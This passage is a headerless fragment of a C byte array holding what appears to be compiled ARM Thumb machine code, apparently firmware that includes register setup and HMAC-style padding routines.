0x90u, 0xfeu, 0xf8u, 0xbdu, 0xf0u, 0xb5u, 0x04u, 0x00u, 0x0fu, 0x00u, 0x16u, 0x00u, 0x85u, 0xb0u, 0x0au, 0x9du,
0x03u, 0x93u, 0xfeu, 0xf7u, 0x31u, 0xfeu, 0x3au, 0x00u, 0x20u, 0x00u, 0x0au, 0x21u, 0xfeu, 0xf7u, 0x33u, 0xfeu,
0x32u, 0x00u, 0x20u, 0x00u, 0x0bu, 0x21u, 0xfeu, 0xf7u, 0x2eu, 0xfeu, 0x03u, 0x9au, 0x20u, 0x00u, 0x0cu, 0x21u,
0xfeu, 0xf7u, 0x29u, 0xfeu, 0x2au, 0x00u, 0x20u, 0x00u, 0x07u, 0x21u, 0xfeu, 0xf7u, 0x2du, 0xfeu, 0x2au, 0x00u,
0x20u, 0x00u, 0x08u, 0x21u, 0xfeu, 0xf7u, 0x28u, 0xfeu, 0x2au, 0x00u, 0x20u, 0x00u, 0x09u, 0x21u, 0xfeu, 0xf7u,
0x23u, 0xfeu, 0xe0u, 0x23u, 0x20u, 0x00u, 0xdbu, 0x01u, 0x35u, 0x22u, 0x00u, 0x21u, 0x00u, 0xf0u, 0xfcu, 0xfbu,
0x20u, 0x00u, 0x00u, 0x95u, 0x0cu, 0x23u, 0x07u, 0x22u, 0x08u, 0x21u, 0xffu, 0xf7u, 0x29u, 0xffu, 0x2bu, 0x00u,
0x20u, 0x00u, 0x08u, 0x22u, 0x07u, 0x21u, 0xffu, 0xf7u, 0x1du, 0xffu, 0x0au, 0x22u, 0x20u, 0x00u, 0x11u, 0x00u,
0x00u, 0x95u, 0x07u, 0x23u, 0xfeu, 0xf7u, 0x10u, 0xffu, 0x20u, 0x00u, 0x00u, 0x95u, 0x07u, 0x23u, 0x0bu, 0x22u,
0x09u, 0x21u, 0xfeu, 0xf7u, 0x09u, 0xffu, 0x08u, 0x23u, 0x09u, 0x22u, 0x20u, 0x00u, 0x00u, 0x95u, 0x0bu, 0x21u,
0xfeu, 0xf7u, 0x02u, 0xffu, 0xe0u, 0x21u, 0x20u, 0x00u, 0x89u, 0x00u, 0xfeu, 0xf7u, 0x33u, 0xfeu, 0x20u, 0x00u,
0xfeu, 0xf7u, 0x37u, 0xfeu, 0x05u, 0xb0u, 0xf0u, 0xbdu, 0xf0u, 0xb5u, 0x04u, 0x00u, 0x0fu, 0x00u, 0x16u, 0x00u,
0x85u, 0xb0u, 0x0cu, 0x9du, 0x03u, 0x93u, 0xfeu, 0xf7u, 0xd7u, 0xfdu, 0x3au, 0x00u, 0x20u, 0x00u, 0x08u, 0x21u,
0xfeu, 0xf7u, 0xd9u, 0xfdu, 0x32u, 0x00u, 0x20u, 0x00u, 0x09u, 0x21u, 0xfeu, 0xf7u, 0xd4u, 0xfdu, 0x03u, 0x9au,
0x20u, 0x00u, 0x0au, 0x21u, 0xfeu, 0xf7u, 0xcfu, 0xfdu, 0x0au, 0x9au, 0x20u, 0x00u, 0x0bu, 0x21u, 0xfeu, 0xf7u,
0xcau, 0xfdu, 0x0bu, 0x9au, 0x20u, 0x00u, 0x0cu, 0x21u, 0xfeu, 0xf7u, 0xc5u, 0xfdu, 0x2au, 0x00u, 0x20u, 0x00u,
0x04u, 0x21u, 0xfeu, 0xf7u, 0xc9u, 0xfdu, 0x2au, 0x00u, 0x20u, 0x00u, 0x05u, 0x21u, 0xfeu, 0xf7u, 0xc4u, 0xfdu,
0x2au, 0x00u, 0x20u, 0x00u, 0x06u, 0x21u, 0xfeu, 0xf7u, 0xbfu, 0xfdu, 0x2au, 0x00u, 0x20u, 0x00u, 0x07u, 0x21u,
0xfeu, 0xf7u, 0xbau, 0xfdu, 0x2bu, 0x00u, 0x20u, 0x00u, 0x0au, 0x22u, 0x04u, 0x21u, 0xffu, 0xf7u, 0xc2u, 0xfeu,
0x20u, 0x00u, 0x00u, 0x95u, 0x04u, 0x23u, 0x0bu, 0x22u, 0x06u, 0x21u, 0xfeu, 0xf7u, 0xb5u, 0xfeu, 0x20u, 0x00u,
0x00u, 0x95u, 0x0au, 0x23u, 0x0cu, 0x22u, 0x05u, 0x21u, 0xfeu, 0xf7u, 0xaeu, 0xfeu, 0x08u, 0x22u, 0x20u, 0x00u,
0x11u, 0x00u, 0x06u, 0x23u, 0xffu, 0xf7u, 0x70u, 0xfeu, 0x0au, 0x23u, 0x20u, 0x00u, 0x19u, 0x00u, 0x00u, 0x95u,
0x08u, 0x22u, 0xfeu, 0xf7u, 0xa1u, 0xfeu, 0x20u, 0x00u, 0x00u, 0x95u, 0x04u, 0x23u, 0x05u, 0x22u, 0x07u, 0x21u,
0xfeu, 0xf7u, 0x9au, 0xfeu, 0x09u, 0x22u, 0x20u, 0x00u, 0x11u, 0x00u, 0x07u, 0x23u, 0xffu, 0xf7u, 0x5cu, 0xfeu,
0x2bu, 0x00u, 0x20u, 0x00u, 0x08u, 0x22u, 0x04u, 0x21u, 0xffu, 0xf7u, 0x94u, 0xfeu, 0x20u, 0x00u, 0x00u, 0x95u,
0x04u, 0x23u, 0x06u, 0x22u, 0x05u, 0x21u, 0xfeu, 0xf7u, 0x87u, 0xfeu, 0x20u, 0x00u, 0x00u, 0x95u, 0x08u, 0x23u,
0x04u, 0x22u, 0x06u, 0x21u, 0xfeu, 0xf7u, 0x80u, 0xfeu, 0x20u, 0x00u, 0x00u, 0x95u, 0x06u, 0x23u, 0x07u, 0x22u,
0x04u, 0x21u, 0xfeu, 0xf7u, 0x79u, 0xfeu, 0x2bu, 0x00u, 0x20u, 0x00u, 0x09u, 0x22u, 0x08u, 0x21u, 0xffu, 0xf7u,
0x79u, 0xfeu, 0x08u, 0x22u, 0x20u, 0x00u, 0x11u, 0x00u, 0x06u, 0x23u, 0xffu, 0xf7u, 0x35u, 0xfeu, 0x05u, 0x23u,
0x20u, 0x00u, 0x1au, 0x00u, 0x07u, 0x21u, 0xffu, 0xf7u, 0x13u, 0xfeu, 0x08u, 0x22u, 0x20u, 0x00u, 0x11u, 0x00u,
0x07u, 0x23u, 0xffu, 0xf7u, 0x29u, 0xfeu, 0x05u, 0x22u, 0x20u, 0x00u, 0x11u, 0x00u, 0x08u, 0x23u, 0xffu, 0xf7u,
0x23u, 0xfeu, 0x09u, 0x22u, 0x20u, 0x00u, 0x11u, 0x00u, 0x00u, 0x95u, 0x05u, 0x23u, 0xfeu, 0xf7u, 0x54u, 0xfeu,
0x09u, 0x22u, 0x04u, 0x23u, 0x11u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x16u, 0xfeu, 0xf0u, 0x21u, 0x20u, 0x00u,
0xfeu, 0xf7u, 0x80u, 0xfdu, 0x20u, 0x00u, 0xfeu, 0xf7u, 0x84u, 0xfdu, 0x05u, 0xb0u, 0xf0u, 0xbdu, 0xf0u, 0xb5u,
0x04u, 0x00u, 0x0fu, 0x00u, 0x16u, 0x00u, 0x85u, 0xb0u, 0x0au, 0x9du, 0x03u, 0x93u, 0xfeu, 0xf7u, 0x24u, 0xfdu,
0x3au, 0x00u, 0x20u, 0x00u, 0x05u, 0x21u, 0xfeu, 0xf7u, 0x26u, 0xfdu, 0x32u, 0x00u, 0x20u, 0x00u, 0x06u, 0x21u,
0xfeu, 0xf7u, 0x21u, 0xfdu, 0x03u, 0x9au, 0x20u, 0x00u, 0x07u, 0x21u, 0xfeu, 0xf7u, 0x1cu, 0xfdu, 0x2au, 0x00u,
0x20u, 0x00u, 0x01u, 0x21u, 0xfeu, 0xf7u, 0x20u, 0xfdu, 0x2au, 0x00u, 0x20u, 0x00u, 0x02u, 0x21u, 0xfeu, 0xf7u,
0x1bu, 0xfdu, 0x2au, 0x00u, 0x20u, 0x00u, 0x03u, 0x21u, 0xfeu, 0xf7u, 0x16u, 0xfdu, 0x2au, 0x00u, 0x20u, 0x00u,
0x04u, 0x21u, 0xfeu, 0xf7u, 0x11u, 0xfdu, 0x2bu, 0x00u, 0x20u, 0x00u, 0x06u, 0x22u, 0x04u, 0x21u, 0xffu, 0xf7u,
0x19u, 0xfeu, 0x2bu, 0x00u, 0x20u, 0x00u, 0x07u, 0x22u, 0x03u, 0x21u, 0xffu, 0xf7u, 0x13u, 0xfeu, 0x07u, 0x23u,
0x20u, 0x00u, 0x19u, 0x00u, 0x00u, 0x95u, 0x06u, 0x22u, 0xfeu, 0xf7u, 0x06u, 0xfeu, 0x20u, 0x00u, 0x00u, 0x95u,
0x04u, 0x23u, 0x05u, 0x22u, 0x06u, 0x21u, 0xfeu, 0xf7u, 0xffu, 0xfdu, 0x05u, 0x22u, 0x20u, 0x00u, 0x11u, 0x00u,
0x03u, 0x23u, 0xffu, 0xf7u, 0xa5u, 0xfdu, 0x03u, 0x23u, 0x20u, 0x00u, 0x1au, 0x00u, 0x19u, 0x00u, 0xffu, 0xf7u,
0x9fu, 0xfdu, 0x03u, 0x23u, 0x20u, 0x00u, 0x19u, 0x00u, 0x05u, 0x22u, 0xffu, 0xf7u, 0xb5u, 0xfdu, 0x20u, 0x00u,
0x00u, 0x95u, 0x03u, 0x23u, 0x05u, 0x22u, 0x01u, 0x21u, 0xfeu, 0xf7u, 0xe6u, 0xfdu, 0x01u, 0x23u, 0x20u, 0x00u,
0x1au, 0x00u, 0x03u, 0x21u, 0xffu, 0xf7u, 0x8cu, 0xfdu, 0x01u, 0x22u, 0x03u, 0x23u, 0x11u, 0x00u, 0x20u, 0x00u,
0xffu, 0xf7u, 0x86u, 0xfdu, 0x01u, 0x22u, 0x20u, 0x00u, 0x11u, 0x00u, 0xffu, 0xf7u, 0xafu, 0xfdu, 0x2bu, 0x00u,
0x20u, 0x00u, 0x01u, 0x22u, 0x03u, 0x21u, 0xffu, 0xf7u, 0xd5u, 0xfdu, 0x03u, 0x22u, 0x20u, 0x00u, 0x11u, 0x00u,
0x06u, 0x23u, 0xffu, 0xf7u, 0x91u, 0xfdu, 0x20u, 0x00u, 0x06u, 0x23u, 0x03u, 0x22u, 0x05u, 0x21u, 0xffu, 0xf7u,
0x8bu, 0xfdu, 0x06u, 0x22u, 0x20u, 0x00u, 0x11u, 0x00u, 0x05u, 0x23u, 0xffu, 0xf7u, 0x85u, 0xfdu, 0x20u, 0x00u,
0x00u, 0x95u, 0x06u, 0x23u, 0x01u, 0x22u, 0x02u, 0x21u, 0xfeu, 0xf7u, 0xb6u, 0xfdu, 0x2bu, 0x00u, 0x20u, 0x00u,
0x04u, 0x22u, 0x01u, 0x21u, 0xffu, 0xf7u, 0xb6u, 0xfdu, 0x01u, 0x23u, 0x02u, 0x22u, 0x20u, 0x00u, 0x06u, 0x21u,
0xffu, 0xf7u, 0x72u, 0xfdu, 0x1eu, 0x21u, 0x20u, 0x00u, 0xfeu, 0xf7u, 0xdcu, 0xfcu, 0x20u, 0x00u, 0xfeu, 0xf7u,
0xe0u, 0xfcu, 0x05u, 0xb0u, 0xf0u, 0xbdu, 0x00u, 0x00u, 0xf0u, 0xb5u, 0x04u, 0x00u, 0x16u, 0x00u, 0x1du, 0x00u,
0x87u, 0xb0u, 0x0cu, 0x9fu, 0x05u, 0x91u, 0xfeu, 0xf7u, 0x7fu, 0xfcu, 0x05u, 0x9au, 0x07u, 0x21u, 0x20u, 0x00u,
0xfeu, 0xf7u, 0x81u, 0xfcu, 0x32u, 0x00u, 0x08u, 0x21u, 0x20u, 0x00u, 0xfeu, 0xf7u, 0x7cu, 0xfcu, 0x2au, 0x00u,
0x0cu, 0x21u, 0x20u, 0x00u, 0xfeu, 0xf7u, 0x77u, 0xfcu, 0x3au, 0x00u, 0x05u, 0x21u, 0x20u, 0x00u, 0xfeu, 0xf7u,
0x7bu, 0xfcu, 0x3au, 0x00u, 0x06u, 0x21u, 0x20u, 0x00u, 0xfeu, 0xf7u, 0x76u, 0xfcu, 0x3au, 0x00u, 0x09u, 0x21u,
0x20u, 0x00u, 0xfeu, 0xf7u, 0x71u, 0xfcu, 0x3au, 0x00u, 0x0au, 0x21u, 0x20u, 0x00u, 0xfeu, 0xf7u, 0x6cu, 0xfcu,
0x3au, 0x00u, 0x0bu, 0x21u, 0x20u, 0x00u, 0xfeu, 0xf7u, 0x67u, 0xfcu, 0x07u, 0x22u, 0x0au, 0x21u, 0x20u, 0x00u,
0xfeu, 0xf7u, 0xecu, 0xfbu, 0x08u, 0x22u, 0x0bu, 0x21u, 0x20u, 0x00u, 0xfeu, 0xf7u, 0xe7u, 0xfbu, 0x90u, 0x23u,
0x35u, 0x22u, 0x1bu, 0x02u, 0x00u, 0x21u, 0x20u, 0x00u, 0x00u, 0xf0u, 0x36u, 0xfau, 0xa0u, 0x23u, 0x34u, 0x22u,
0xdbu, 0x01u, 0x00u, 0x21u, 0x20u, 0x00u, 0x00u, 0xf0u, 0x2fu, 0xfau, 0x29u, 0x4bu, 0x28u, 0x22u, 0x1bu, 0x68u,
0x29u, 0x33u, 0x1bu, 0x78u, 0x1fu, 0x2bu, 0x00u, 0xd9u, 0x02u, 0x3au, 0x00u, 0x25u, 0x25u, 0x4bu, 0x00u, 0x21u,
0x20u, 0x00u, 0x00u, 0xf0u, 0x21u, 0xfau, 0x24u, 0x4bu, 0x20u, 0x22u, 0x00u, 0x21u, 0x20u, 0x00u, 0x00u, 0xf0u,
0x1bu, 0xfau, 0x22u, 0x4bu, 0x20u, 0x00u, 0x1bu, 0x68u, 0x1bu, 0x69u, 0x18u, 0x33u, 0xe3u, 0x18u, 0x1eu, 0x68u,
0xfeu, 0xf7u, 0x0cu, 0xfcu, 0xb6u, 0x00u, 0xb6u, 0x0cu, 0x7bu, 0x1eu, 0x9eu, 0x1bu, 0xaeu, 0x42u, 0x10u, 0xd8u,
0x09u, 0x23u, 0x08u, 0x22u, 0x20u, 0x00u, 0x00u, 0x97u, 0x07u, 0x21u, 0xffu, 0xf7u, 0xdbu, 0xfdu, 0xe6u, 0x21u,
0x20u, 0x00u, 0x09u, 0x01u, 0xfeu, 0xf7u, 0x5eu, 0xfcu, 0x20u, 0x00u, 0xfeu, 0xf7u, 0x62u, 0xfcu, 0x07u, 0xb0u,
0xf0u, 0xbdu, 0x20u, 0x00u, 0xfeu, 0xf7u, 0xf2u, 0xfbu, 0x20u, 0x00u, 0xfeu, 0xf7u, 0xcbu, 0xfbu, 0x09u, 0x23u,
0x05u, 0x90u, 0x08u, 0x22u, 0x00u, 0x97u, 0x07u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xd0u, 0xfeu, 0x01u, 0x22u,
0x05u, 0x9bu, 0x13u, 0x42u, 0x0au, 0xd0u, 0x0bu, 0x23u, 0x01u, 0x93u, 0x01u, 0x3bu, 0x00u, 0x93u, 0x02u, 0x97u,
0x01u, 0x3bu, 0x07u, 0x32u, 0x07u, 0x21u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x0eu, 0xfeu, 0x01u, 0x35u, 0xcdu, 0xe7u,
0x34u, 0x07u, 0x00u, 0x08u, 0xc5u, 0x60u, 0x00u, 0x00u, 0xc6u, 0xc0u, 0x00u, 0x00u, 0x38u, 0x05u, 0x00u, 0x08u,
0x80u, 0x22u, 0x0du, 0x4bu, 0x52u, 0x00u, 0x90u, 0x42u, 0x11u, 0xd0u, 0x07u, 0xd8u, 0x01u, 0x22u, 0xc0u, 0x28u,
0x0eu, 0xd0u, 0x02u, 0x22u, 0xe0u, 0x28u, 0x0bu, 0xd0u, 0x00u, 0x22u, 0x09u, 0xe0u, 0xc0u, 0x22u, 0x52u, 0x00u,
0x90u, 0x42u, 0x07u, 0xd0u, 0x05u, 0x4au, 0x90u, 0x42u, 0xf6u, 0xd1u, 0x05u, 0x22u, 0x00u, 0xe0u, 0x03u, 0x22u,
0x1au, 0x70u, 0x70u, 0x47u, 0x04u, 0x22u, 0xfbu, 0xe7u, 0x34u, 0x05u, 0x00u, 0x08u, 0x09u, 0x02u, 0x00u, 0x00u,
0x01u, 0x4bu, 0x18u, 0x70u, 0x70u, 0x47u, 0xc0u, 0x46u, 0x80u, 0x00u, 0x00u, 0x08u, 0x13u, 0xb5u, 0x04u, 0x00u,
0x05u, 0x98u, 0x00u, 0x90u, 0x20u, 0x00u, 0xffu, 0xf7u, 0x2fu, 0xffu, 0x20u, 0x00u, 0xfeu, 0xf7u, 0x62u, 0xfbu,
0x13u, 0xbdu, 0x00u, 0x00u, 0xf0u, 0xb5u, 0x93u, 0xb0u, 0x05u, 0x93u, 0x1au, 0xabu, 0x1cu, 0x78u, 0x65u, 0x4bu,
0x05u, 0x00u, 0x1bu, 0x68u, 0x03u, 0x91u, 0x04u, 0x92u, 0x1eu, 0x1eu, 0x02u, 0xd0u, 0x9bu, 0x6bu, 0xc3u, 0x18u,
0x1eu, 0x68u, 0x30u, 0x22u, 0x00u, 0x21u, 0x06u, 0xa8u, 0x03u, 0xf0u, 0x91u, 0xfbu, 0x33u, 0x00u, 0x81u, 0x33u,
0x22u, 0x00u, 0xffu, 0x33u, 0x06u, 0xa9u, 0x28u, 0x00u, 0x01u, 0xf0u, 0xfcu, 0xfbu, 0x04u, 0x1eu, 0x00u, 0xd0u,
0x86u, 0xe0u, 0x33u, 0x00u, 0x80u, 0x33u, 0x01u, 0x93u, 0x98u, 0x23u, 0x01u, 0x9au, 0xdbu, 0x00u, 0x77u, 0x1cu,
0xf6u, 0x50u, 0xffu, 0x37u, 0xf3u, 0x18u, 0x5au, 0x60u, 0x9fu, 0x60u, 0x19u, 0x9au, 0x09u, 0x9bu, 0x9au, 0x42u,
0x00u, 0xd8u, 0x7cu, 0xe0u, 0x06u, 0xa9u, 0x28u, 0x00u, 0x01u, 0xf0u, 0x7cu, 0xfcu, 0x04u, 0x1eu, 0x58u, 0xd1u,
0x19u, 0x9bu, 0x18u, 0x9au, 0x06u, 0xa9u, 0x28u, 0x00u, 0x01u, 0xf0u, 0x88u, 0xfcu, 0x04u, 0x1eu, 0x50u, 0xd1u,
0x3au, 0x00u, 0x06u, 0xa9u, 0x28u, 0x00u, 0x01u, 0xf0u, 0xbfu, 0xfcu, 0x04u, 0x1eu, 0x49u, 0xd1u, 0x0fu, 0x99u,
0x09u, 0x9bu, 0x5bu, 0x1au, 0x9bu, 0xb2u, 0x79u, 0x18u, 0x22u, 0x00u, 0x28u, 0x00u, 0x00u, 0xf0u, 0x30u, 0xfcu,
0x00u, 0x23u, 0x36u, 0x21u, 0x5cu, 0x20u, 0x09u, 0x9au, 0x02u, 0x92u, 0x93u, 0x42u, 0x00u, 0xd2u, 0x70u, 0xe0u,
0x06u, 0xa9u, 0x28u, 0x00u, 0x01u, 0xf0u, 0x56u, 0xfcu, 0x04u, 0x1eu, 0x32u, 0xd1u, 0x09u, 0x9bu, 0x32u, 0x00u,
0x06u, 0xa9u, 0x28u, 0x00u, 0x01u, 0xf0u, 0x62u, 0xfcu, 0x04u, 0x1eu, 0x2au, 0xd1u, 0x05u, 0x9bu, 0x04u, 0x9au,
0x06u, 0xa9u, 0x28u, 0x00u, 0x01u, 0xf0u, 0x5au, 0xfcu, 0x04u, 0x1eu, 0x22u, 0xd1u, 0x32u, 0x00u, 0x06u, 0xa9u,
0x28u, 0x00u, 0x01u, 0xf0u, 0x91u, 0xfcu, 0x04u, 0x1eu, 0x1bu, 0xd1u, 0x06u, 0xa9u, 0x28u, 0x00u, 0x01u, 0xf0u,
0x39u, 0xfcu, 0x04u, 0x1eu, 0x15u, 0xd1u, 0x09u, 0x9bu, 0x01u, 0x9au, 0x06u, 0xa9u, 0x28u, 0x00u, 0x01u, 0xf0u,
0x45u, 0xfcu, 0x04u, 0x1eu, 0x0du, 0xd1u, 0x0fu, 0x9bu, 0x32u, 0x00u, 0x06u, 0xa9u, 0x28u, 0x00u, 0x01u, 0xf0u,
0x3du, 0xfcu, 0x04u, 0x1eu, 0x05u, 0xd1u, 0x03u, 0x9au, 0x06u, 0xa9u, 0x28u, 0x00u, 0x01u, 0xf0u, 0x74u, 0xfcu,
0x04u, 0x00u, 0x98u, 0x21u, 0xc9u, 0x00u, 0x71u, 0x58u, 0x80u, 0x23u, 0x00u, 0x22u, 0x28u, 0x00u, 0x00u, 0xf0u,
0xe7u, 0xfbu, 0x98u, 0x23u, 0xdbu, 0x00u, 0xf6u, 0x18u, 0x00u, 0x22u, 0x80u, 0x23u, 0x71u, 0x68u, 0x28u, 0x00u,
0x00u, 0xf0u, 0xdeu, 0xfbu, 0x80u, 0x23u, 0x00u, 0x22u, 0xb1u, 0x68u, 0x28u, 0x00u, 0x00u, 0xf0u, 0xd8u, 0xfbu,
0x06u, 0xa9u, 0x28u, 0x00u, 0x01u, 0xf0u, 0xbcu, 0xfcu, 0x20u, 0x00u, 0x13u, 0xb0u, 0xf0u, 0xbdu, 0x19u, 0x9au,
0x92u, 0xb2u, 0x02u, 0x92u, 0x19u, 0x9au, 0x9au, 0x42u, 0x0cu, 0xd2u, 0x02u, 0x9bu, 0x18u, 0x9au, 0x39u, 0x00u,
0x28u, 0x00u, 0x00u, 0xf0u, 0xa7u, 0xfbu, 0x02u, 0x9au, 0x09u, 0x9bu, 0x9bu, 0x1au, 0x19u, 0x9au, 0x9bu, 0xb2u,
0xb9u, 0x18u, 0x89u, 0xe7u, 0x02u, 0x9bu, 0x18u, 0x9au, 0x39u, 0x00u, 0x28u, 0x00u, 0x00u, 0xf0u, 0x9au, 0xfbu,
0x86u, 0xe7u, 0xfau, 0x5cu, 0x01u, 0x9cu, 0x4au, 0x40u, 0xf2u, 0x54u, 0xfau, 0x5cu, 0x42u, 0x40u, 0xe2u, 0x54u,
0x01u, 0x33u, 0x80u, 0xe7u, 0x38u, 0x05u, 0x00u, 0x08u, 0xf0u, 0xb5u, 0x66u, 0x4cu, 0x05u, 0x00u, 0xa5u, 0x44u,
0x04u, 0x92u, 0x93u, 0x22u, 0x05u, 0x93u, 0x13u, 0xaeu, 0xaeu, 0xabu, 0x1cu, 0x78u, 0x03u, 0x91u, 0x92u, 0x00u,
0x00u, 0x21u, 0x30u, 0x00u, 0x03u, 0xf0u, 0xc3u, 0xfau, 0x30u, 0x22u, 0x00u, 0x21u, 0x07u, 0xa8u, 0x03u, 0xf0u,
0xbeu, 0xfau, 0x22u, 0x00u, 0x73u, 0xabu, 0x07u, 0xa9u, 0x28u, 0x00u, 0x01u, 0xf0u, 0x77u, 0xfdu, 0x04u, 0x1eu,
0x3bu, 0xd1u, 0x90u, 0x23u, 0x9bu, 0x00u, 0xf6u, 0x50u, 0x33u, 0xaau, 0x04u, 0x33u, 0xf2u, 0x50u, 0x0au, 0x9fu,
0x04u, 0x33u, 0x53u, 0xaau, 0xf2u, 0x50u, 0x10u, 0x9bu, 0xbeu, 0xb2u, 0x01u, 0x93u, 0x02u, 0x00u, 0x33u, 0x00u,
0x53u, 0xa9u, 0x28u, 0x00u, 0x00u, 0xf0u, 0x6eu, 0xfcu, 0xadu, 0x9bu, 0xbbu, 0x42u, 0x2eu, 0xd9u, 0x07u, 0xa9u,
0x28u, 0x00u, 0x01u, 0xf0u, 0xd9u, 0xfdu, 0x04u, 0x1eu, 0x0du, 0xd1u, 0xadu, 0x9bu, 0xacu, 0x9au, 0x07u, 0xa9u,
0x28u, 0x00u, 0x01u, 0xf0u, 0xe5u, 0xfdu, 0x04u, 0x1eu, 0x05u, 0xd1u, 0x53u, 0xaau, 0x07u, 0xa9u, 0x28u, 0x00u,
0x01u, 0xf0u, 0x84u, 0xfeu, 0x04u, 0x00u, 0x01u, 0x9bu, 0x01u, 0x99u, 0x53u, 0xaau, 0xf3u, 0x1au, 0x51u, 0x18u,
0x9bu, 0xb2u, 0x00u, 0x22u, 0x28u, 0x00u, 0x00u, 0xf0u, 0x4du, 0xfcu, 0x00u, 0x2cu, 0x24u, 0xd0u, 0x0cu, 0x23u,
0x00u, 0x22u, 0xa3u, 0xa9u, 0x28u, 0x00u, 0x00u, 0xf0u, 0x45u, 0xfcu, 0x07u, 0xa9u, 0x28u, 0x00u, 0x01u, 0xf0u,
0xf7u, 0xfeu, 0x20u, 0x00u, 0xa7u, 0x23u, 0x9bu, 0x00u, 0x9du, 0x44u, 0xf0u, 0xbdu, 0xadu, 0x9bu, 0x9bu, 0xb2u,
0x02u, 0x93u, 0xadu, 0x9bu, 0xbbu, 0x42u, 0x50u, 0xd2u, 0x02u, 0x9bu, 0xacu, 0x9au, 0x53u, 0xa9u, 0x28u, 0x00u,
0x00u, 0xf0u, 0xf2u, 0xfbu, 0x02u, 0x9bu, 0xadu, 0x99u, 0x53u, 0xaau, 0xf6u, 0x1au, 0x51u, 0x18u, 0xb3u, 0xb2u,
0x22u, 0x00u, 0x28u, 0x00u, 0x00u, 0xf0u, 0x26u, 0xfcu, 0x5cu, 0x22u, 0x00u, 0x23u, 0x36u, 0x26u, 0x94u, 0x46u,
0x13u, 0xa8u, 0x9fu, 0x42u, 0x40u, 0xd1u, 0x07u, 0xa9u, 0x28u, 0x00u, 0x01u, 0xf0u, 0x8du, 0xfdu, 0x04u, 0x1eu,
0xcdu, 0xd1u, 0x3bu, 0x00u, 0x13u, 0xaau, 0x07u, 0xa9u, 0x28u, 0x00u, 0x01u, 0xf0u, 0x99u, 0xfdu, 0x04u, 0x1eu,
0xc5u, 0xd1u, 0x05u, 0x9bu, 0x04u, 0x9au, 0x07u, 0xa9u, 0x28u, 0x00u, 0x01u, 0xf0u, 0x91u, 0xfdu, 0x04u, 0x1eu,
0xbdu, 0xd1u, 0x13u, 0xaau, 0x07u, 0xa9u, 0x28u, 0x00u, 0x01u, 0xf0u, 0x30u, 0xfeu, 0x04u, 0x1eu, 0xb6u, 0xd1u,
0x07u, 0xa9u, 0x28u, 0x00u, 0x01u, 0xf0u, 0x70u, 0xfdu, 0x04u, 0x1eu, 0xb0u, 0xd1u, 0x3bu, 0x00u, 0x33u, 0xaau,
0x07u, 0xa9u, 0x28u, 0x00u, 0x01u, 0xf0u, 0x7cu, 0xfdu, 0x04u, 0x1eu, 0xa8u, 0xd1u, 0x01u, 0x9bu, 0x13u, 0xaau,
0x07u, 0xa9u, 0x28u, 0x00u, 0x01u, 0xf0u, 0x74u, 0xfdu, 0x04u, 0x1eu, 0xa0u, 0xd1u, 0x03u, 0x9au, 0x07u, 0xa9u,
0x28u, 0x00u, 0x01u, 0xf0u, 0x13u, 0xfeu, 0x04u, 0x00u, 0x99u, 0xe7u, 0x02u, 0x9bu, 0xacu, 0x9au, 0x53u, 0xa9u,
0x28u, 0x00u, 0x00u, 0xf0u, 0xa1u, 0xfbu, 0xb7u, 0xe7u, 0xc2u, 0x18u, 0x54u, 0x1cu, 0xffu, 0x34u, 0x21u, 0x78u,
0x80u, 0x32u, 0x71u, 0x40u, 0x19u, 0x54u, 0x21u, 0x78u, 0x64u, 0x46u, 0x61u, 0x40u, 0x11u, 0x70u, 0x01u, 0x33u,
0xafu, 0xe7u, 0xc0u, 0x46u, 0x64u, 0xfdu, 0xffu, 0xffu, 0xf7u, 0xb5u, 0x1cu, 0x4cu, 0x01u, 0x93u, 0x24u, 0x68u,
0x25u, 0x1eu, 0x02u, 0xd0u, 0xa5u, 0x6bu, 0x45u, 0x19u, 0x2du, 0x68u, 0x26u, 0x6du, 0x86u, 0x19u, 0xadu, 0x1bu,
0x6eu, 0x1eu, 0xb5u, 0x41u, 0xa6u, 0x68u, 0xedu, 0xb2u, 0x87u, 0x19u, 0x0fu, 0x26u, 0xb4u, 0x46u, 0x63u, 0x46u,
0x3eu, 0x68u, 0x1eu, 0x40u, 0x06u, 0x2eu, 0xfau, 0xd8u, 0xe3u, 0x68u, 0x12u, 0x06u, 0xc6u, 0x18u, 0x01u, 0x9bu,
0x13u, 0x43u, 0x33u, 0x60u, 0x00u, 0x2du, 0x01u, 0xd1u, 0x00u, 0x29u, 0x12u, 0xd0u, 0x80u, 0x22u, 0xa3u, 0x68u,
0x52u, 0x02u, 0xc3u, 0x18u, 0x19u, 0x68u, 0x11u, 0x42u, 0xfcu, 0xd0u, 0x23u, 0x68u, 0xc0u, 0x18u, 0x08u, 0x4bu,
0x1bu, 0x68u, 0x29u, 0x33u, 0x1bu, 0x78u, 0x1fu, 0x2bu, 0x04u, 0xd8u, 0x80u, 0x23u, 0x02u, 0x68u, 0x1au, 0x42u,
0xfcu, 0xd1u, 0xf7u, 0xbdu, 0x03u, 0x68u, 0x00u, 0x2bu, 0xfcu, 0xd1u, 0xfau, 0xe7u, 0x38u, 0x05u, 0x00u, 0x08u,
0x34u, 0x07u, 0x00u, 0x08u, 0x10u, 0xb5u, 0x1fu, 0x24u, 0x08u, 0x4bu, 0x89u, 0x06u, 0x1bu, 0x68u, 0x29u, 0x33u,
0x1bu, 0x78u, 0x9cu, 0x42u, 0xa4u, 0x41u, 0x13u, 0x00u, 0x64u, 0x42u, 0x0cu, 0x34u, 0xa3u, 0x40u, 0x80u, 0x22u,
0x0bu, 0x43u, 0x00u, 0x21u, 0xffu, 0xf7u, 0xb0u, 0xffu, 0x10u, 0xbdu, 0xc0u, 0x46u, 0x34u, 0x07u, 0x00u, 0x08u,
0x10u, 0xb5u, 0x04u, 0x00u, 0x00u, 0x22u, 0x0eu, 0x21u, 0xffu, 0xf7u, 0xe4u, 0xffu, 0x20u, 0x00u, 0x00u, 0x22u,
0x0du, 0x21u, 0xffu, 0xf7u, 0xdfu, 0xffu, 0x20u, 0x00u, 0x00u, 0x22u, 0x0cu, 0x21u, 0xffu, 0xf7u, 0xdau, 0xffu,
0x20u, 0x00u, 0x00u, 0x22u, 0x0bu, 0x21u, 0xffu, 0xf7u, 0xd5u, 0xffu, 0x20u, 0x00u, 0x00u, 0x22u, 0x0au, 0x21u,
0xffu, 0xf7u, 0xd0u, 0xffu, 0x20u, 0x00u, 0x00u, 0x22u, 0x09u, 0x21u, 0xffu, 0xf7u, 0xcbu, 0xffu, 0x20u, 0x00u,
